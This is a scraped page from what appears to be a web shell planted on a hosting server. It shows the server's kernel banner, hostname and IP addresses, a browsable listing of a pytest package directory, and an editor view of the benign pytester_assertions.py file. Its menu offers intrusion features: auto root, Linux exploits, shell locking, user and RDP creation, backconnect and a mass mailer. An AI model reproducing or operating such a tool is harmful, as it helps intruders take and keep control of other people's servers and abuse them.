Linux boca.hozzt.com 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
LiteSpeed
: 159.253.39.62 | : 3.135.212.195
Cant Read [ /etc/named.conf ]
7.4.33
renovkoron
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
opt /
cloudlinux /
venv /
lib /
python3.11 /
site-packages /
_pytest /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
_code
[ DIR ]
drwxr-xr-x
_io
[ DIR ]
drwxr-xr-x
_py
[ DIR ]
drwxr-xr-x
assertion
[ DIR ]
drwxr-xr-x
config
[ DIR ]
drwxr-xr-x
mark
[ DIR ]
drwxr-xr-x
__init__.py
356
B
-rw-r--r--
_argcomplete.py
3.71
KB
-rw-r--r--
_version.py
160
B
-rw-r--r--
cacheprovider.py
20.89
KB
-rw-r--r--
capture.py
33.92
KB
-rw-r--r--
compat.py
12.89
KB
-rw-r--r--
debugging.py
13.18
KB
-rw-r--r--
deprecated.py
5.36
KB
-rw-r--r--
doctest.py
25.35
KB
-rw-r--r--
faulthandler.py
3.04
KB
-rw-r--r--
fixtures.py
65.51
KB
-rw-r--r--
freeze_support.py
1.31
KB
-rw-r--r--
helpconfig.py
8.34
KB
-rw-r--r--
hookspec.py
31.79
KB
-rw-r--r--
junitxml.py
25.11
KB
-rw-r--r--
legacypath.py
16.53
KB
-rw-r--r--
logging.py
33.23
KB
-rw-r--r--
main.py
31.73
KB
-rw-r--r--
monkeypatch.py
14.51
KB
-rw-r--r--
nodes.py
25.94
KB
-rw-r--r--
nose.py
1.65
KB
-rw-r--r--
outcomes.py
10.02
KB
-rw-r--r--
pastebin.py
3.86
KB
-rw-r--r--
pathlib.py
25.22
KB
-rw-r--r--
py.typed
0
B
-rw-r--r--
pytester.py
60.52
KB
-rw-r--r--
pytester_assertions.py
2.27
KB
-rw-r--r--
python.py
69.49
KB
-rw-r--r--
python_api.py
37.5
KB
-rw-r--r--
python_path.py
709
B
-rw-r--r--
recwarn.py
10.67
KB
-rw-r--r--
reports.py
20.35
KB
-rw-r--r--
runner.py
18.01
KB
-rw-r--r--
scope.py
2.81
KB
-rw-r--r--
setuponly.py
3.18
KB
-rw-r--r--
setupplan.py
1.19
KB
-rw-r--r--
skipping.py
9.96
KB
-rw-r--r--
stash.py
2.98
KB
-rw-r--r--
stepwise.py
4.6
KB
-rw-r--r--
terminal.py
52.25
KB
-rw-r--r--
threadexception.py
2.85
KB
-rw-r--r--
timing.py
375
B
-rw-r--r--
tmpdir.py
11.43
KB
-rw-r--r--
unittest.py
14.46
KB
-rw-r--r--
unraisableexception.py
3.12
KB
-rw-r--r--
warning_types.py
4.37
KB
-rw-r--r--
warnings.py
4.95
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : pytester_assertions.py
"""Helper plugin for pytester; should not be loaded on its own.""" # This plugin contains assertions used by pytester. pytester cannot # contain them itself, since it is imported by the `pytest` module, # hence cannot be subject to assertion rewriting, which requires a # module to not be already imported. from typing import Dict from typing import Optional from typing import Sequence from typing import Tuple from typing import Union from _pytest.reports import CollectReport from _pytest.reports import TestReport def assertoutcome( outcomes: Tuple[ Sequence[TestReport], Sequence[Union[CollectReport, TestReport]], Sequence[Union[CollectReport, TestReport]], ], passed: int = 0, skipped: int = 0, failed: int = 0, ) -> None: __tracebackhide__ = True realpassed, realskipped, realfailed = outcomes obtained = { "passed": len(realpassed), "skipped": len(realskipped), "failed": len(realfailed), } expected = {"passed": passed, "skipped": skipped, "failed": failed} assert obtained == expected, outcomes def assert_outcomes( outcomes: Dict[str, int], passed: int = 0, skipped: int = 0, failed: int = 0, errors: int = 0, xpassed: int = 0, xfailed: int = 0, warnings: Optional[int] = None, deselected: Optional[int] = None, ) -> None: """Assert that the specified outcomes appear with the respective numbers (0 means it didn't occur) in the text output from a test run.""" __tracebackhide__ = True obtained = { "passed": outcomes.get("passed", 0), "skipped": outcomes.get("skipped", 0), "failed": outcomes.get("failed", 0), "errors": outcomes.get("errors", 0), "xpassed": outcomes.get("xpassed", 0), "xfailed": outcomes.get("xfailed", 0), } expected = { "passed": passed, "skipped": skipped, "failed": failed, "errors": errors, "xpassed": xpassed, "xfailed": xfailed, } if warnings is not None: obtained["warnings"] = outcomes.get("warnings", 0) expected["warnings"] = warnings if deselected is not None: obtained["deselected"] = outcomes.get("deselected", 0) expected["deselected"] = deselected assert obtained == expected
Close